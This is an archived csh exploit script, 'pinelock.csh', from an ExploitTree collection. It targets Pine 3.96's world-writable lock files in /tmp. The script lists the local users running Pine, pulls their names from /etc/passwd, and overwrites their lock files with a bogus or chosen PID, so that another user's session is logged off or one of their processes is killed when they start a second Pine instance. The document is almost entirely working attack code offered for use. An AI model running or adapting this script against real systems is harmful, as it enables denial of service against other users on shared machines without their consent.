home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pine / pinelock.csh < prev   
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  4KB  |  111 lines

  1. #!/bin/csh -f
  2. #pinelock.csh
  3. #Written 12/97 by Iconoclast -> iconoclast@thepentagon.com
  4. #This program can exploit the vulnerabilities of pine lock files in version 3.96
  5. #which are mode 666 to log a person off or kill one of their processes if a second
  6. #instance of pine is started.  It only works if they open a second session of pine.
  7. #It could be useful if root likes to open up two sessions of pine...
  8.  
  9. clear
  10. ls -la /tmp|egrep 'rw-rw-rw-.*\.[0-9a-f]+\.[0-9a-f]+$' > /tmp/aa #list of lock files in /tmp
  11. awk '{print $3}' /tmp/aa > /tmp/bb        #get user name of each file
  12. awk '{print $9}' /tmp/aa > /tmp/dd        #get list of names of lock files
  13. touch /tmp/cc /tmp/ee /tmp/gg             #create files so we don't run into trouble #in the foreach loop when we do ">>"
  14.  
  15. foreach i ( `cat /tmp/bb` )
  16. grep $i /etc/passwd >> /tmp/cc            #search /etc/passwd for user name
  17. end
  18.  
  19. awk -F: '{print $5}' /tmp/cc > /tmp/ff    #get person's name from user name
  20.  
  21. set k=1
  22. foreach i( `cat /tmp/dd` )                #go through lock file names
  23. echo $k >> /tmp/gg                        #generate sequential numbers
  24. set k = `expr $k + 1`                     #increment count by 1
  25. cat /tmp/$i >> /tmp/ee                    #get pid within each lock file
  26. echo "" >> /tmp/ee                        #new line
  27. end
  28.  
  29. paste -d " " /tmp/gg /tmp/dd /tmp/ee /tmp/bb /tmp/ff>/tmp/hh
  30.  
  31. echo "The following users are running pine:"
  32. echo ""
  33. echo "#"  lock file  pid "   " uid "     " user name
  34. echo "--------------------------------------------------"
  35. cat /tmp/hh                               #this is the parsed data
  36. echo ""
  37. echo "Pick from the choices below."
  38. echo "1) Try to log them off"
  39. echo "2) Try to kill a process"
  40. echo "3) Exit"
  41. echo -n "Choice:"
  42. set input = $<
  43.  
  44. if ("$input" == "3") then
  45. cd /tmp
  46. rm -f aa bb cc dd ee ff gg hh
  47. exit
  48. endif
  49.  
  50. if ("$input" == "1"||"$input" == "2") then
  51. echo -n "Pick a number you'd like to try:"
  52. set number = $<
  53. set k=0
  54. foreach i (`cat /tmp/dd`)
  55. set k = `expr $k + 1`
  56. if ("$k" == "$number") then
  57. set filename = $i
  58. goto label
  59. endif
  60. end
  61. endif
  62.  
  63. label:
  64. if("$input" == "1") then
  65. echo 99999999999999999999999999999999 >! /tmp/$i  #32 9's in lock file
  66. echo "Kill code has been inserted\!"
  67. endif
  68.  
  69. if ("$input" == "2") then
  70. echo '' >! /tmp/$i                        #remove old pid
  71. echo "Below are the processes the person is running:"
  72.  
  73. ls -la /tmp/$i > /tmp/ll
  74. awk '{print $3}' /tmp/ll > /tmp/mm        #/tmp/mm has uid
  75. set uid = `cat /tmp/mm`
  76.  
  77. /bin/ps -ef|grep $uid > /tmp/jj
  78.  
  79. #number generator and paste.
  80. awk '{print $1}' /tmp/jj > /tmp/kk        #amount of processes
  81. set k=1
  82. rm -f /tmp/gg
  83. touch /tmp/gg
  84. foreach i( `cat /tmp/kk` )
  85. echo $k >> /tmp/gg                        #generate sequential numbers
  86. set k = `expr $k + 1`                     #increment count by 1
  87. end
  88.  
  89. paste -d " " /tmp/gg /tmp/jj > /tmp/nn
  90. cat /tmp/nn
  91. echo -n "Pick a process:"                    #choose process we want to kill
  92. set number2 = $<
  93. awk '{print $3}' /tmp/nn > /tmp/oo        #put pids into a file
  94.  
  95. set k=0
  96. foreach i( `cat /tmp/oo` )                #find pid we want
  97. set k = `expr $k + 1`
  98. if ("$k" == "$number2") then
  99. goto label2
  100. endif
  101. end
  102.  
  103. label2:
  104. echo $i >! /tmp/$filename                 #put pid into lockfile
  105. echo "Kill code has been inserted\!"
  106. endif
  107.  
  108. cd /tmp
  109. rm -f aa bb cc dd ee ff gg hh jj kk ll mm nn oo #clean up files
  110. cd                                        #put you back in home dir
  111. #                   www.hack.co.za              [1999]#